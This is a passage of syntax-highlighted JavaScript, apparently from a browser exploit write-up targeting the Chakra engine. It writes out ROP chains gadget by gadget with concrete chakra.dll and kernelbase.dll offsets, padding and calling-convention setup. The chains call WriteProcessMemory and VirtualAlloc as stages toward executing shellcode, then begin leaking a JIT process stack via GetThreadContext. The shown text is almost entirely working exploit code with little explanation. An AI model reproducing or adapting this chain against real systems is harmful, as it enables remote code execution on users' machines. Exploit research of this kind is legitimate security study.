    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// WriteProcessMemory() ROP chain (Number 3)</span>
	<span class="c1">// Stage 6 -&gt; Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rdi gadget for our "fake return address"</span>

	<span class="c1">// SIZE_T nSize (R9)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000008</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x8)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// HANDLE hProcess (RCX)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Current process</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropoffsetTwo</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span> <span class="c1">// .data section of chakra.dll where our final ROP chain is</span>
	<span class="nx">next</span><span class="p">();</span>                                                                       

	<span class="c1">// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where the VirtualAllocEx allocation is stored</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// VirtualAlloc() ROP chain</span>
	<span class="c1">// Stage 7 -&gt; Allocate some local memory to store the CONTEXT structure from GetThreadContext</span>

	<span class="c1">// DWORD flProtect (R9)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// PAGE_READWRITE (0x4)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// LPVOID lpAddress (RCX)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL (let VirtualAlloc() decide the address)</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// SIZE_T dwSize (RDX) (0x4d0 = sizeof(CONTEXT))</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x000004d0</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// (0x4d0 bytes)</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// DWORD flAllocationType (R8) ( MEM_RESERVE | MEM_COMMIT = 0x3000)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT (0x3000)</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// Call KERNELBASE!VirtualAlloc</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x5ac10</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAlloc address </span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAlloc)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAlloc - 0x180243949: add rsp, 0x38 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38     </span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// GetThreadContext() ROP chain</span>
    <span class="c1">// Stage 8 -&gt; Dump the registers of our newly created thread within the JIT process to leak the stack</span>

    <span class="c1">// First, let's store some needed offsets of our VirtualAlloc allocation, as well as the address itself, in the .data section of kernelbase.dll</span>
